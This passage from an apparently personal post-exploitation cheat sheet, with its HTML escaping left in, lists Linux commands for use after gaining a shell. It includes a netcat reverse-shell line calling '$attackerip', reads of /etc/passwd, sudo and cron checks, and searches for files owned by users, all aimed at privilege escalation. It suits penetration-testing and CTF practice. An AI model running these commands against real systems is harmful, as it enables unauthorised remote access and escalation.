If your con\u00adsole is nar\u00adrow, widen it at the beginning:<\/p>\n\n\n\n
stty rows 50 cols 200<\/pre>\n\n\n\nCon\u00adsid\u00ader to direct\u00adly spawn anoth\u00ader reverse shell:<\/p>\n\n\n\n
nc -e \/bin\/sh $attackerip 4444 &<\/pre>\n\n\n\nBasic enu\u00admer\u00ada\u00adtion about the host<\/p>\n\n\n\n
id
groups
cat \/etc\/passwd
cat \/etc\/group
cat \/etc\/hosts
cat \/etc\/fstab
uname -a \/\/ Check for kernel exploits
\/\/ ALSO search for kernel exploits with OS name!
\/\/ If this doesn't work: cat \/proc\/version
sudo -l \/\/ See blog post about details.<\/a>
su \/\/ same password, if known
cat \/etc\/fstab && lsblk || mount \/\/ if there is something to mount, mount it.<\/pre>\n\n\n\nCheck chron:<\/p>\n\n\n\n
cat \/etc\/crontab
cd \/etc\/cron.d...
grep \"CRON\" \/var\/log\/syslog<\/pre>\n\n\n\nLook into the home and some oth\u00ader directories:<\/p>\n\n\n\n
cd \/home && find ...
cd \/root
cd \/etc\/profile.d
cd \/opt<\/pre>\n\n\n\nSee what\u2019s installed:<\/p>\n\n\n\n
ps aux \/\/ Note all process which run with root permissions (mysql...)
systemctl \/\/ shows all services, active and inactive!
systemctl status \/\/ hierarchical view of all active services.
dpkg -i \/\/ or other, depending the distro<\/pre>\n\n\n\nBrowse through the logs<\/p>\n\n\n\n
\n
- On old sys\u00adtems: Browse throuh the files:
cd \/var\/log<\/code><\/li>\n\n\n\n- Sytems with systemd:
\n
- See all:
journalctl<\/code><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\nCheck for files from inter\u00adest\u00ading users<\/p>\n\n\n\n
for user in u1 u2; do\n find \/ -user $user 2> \/dev\/null | grep -v \\\/proc;\n find \/ -group $user 2> \/dev\/null | grep -v \\\/proc; \n done<\/pre>\n\n\n\nIf there is only the cur\u00adrent user, use this:<\/p>\n\n\n\n
find \/ -user $user 2> \/dev\/null | grep -v \\\/proc;\nfind \/ -group $user 2> \/dev\/null | grep -v \\\/proc; <\/pre>\n\n\n\nMore things to do:<\/p>\n\n\n\n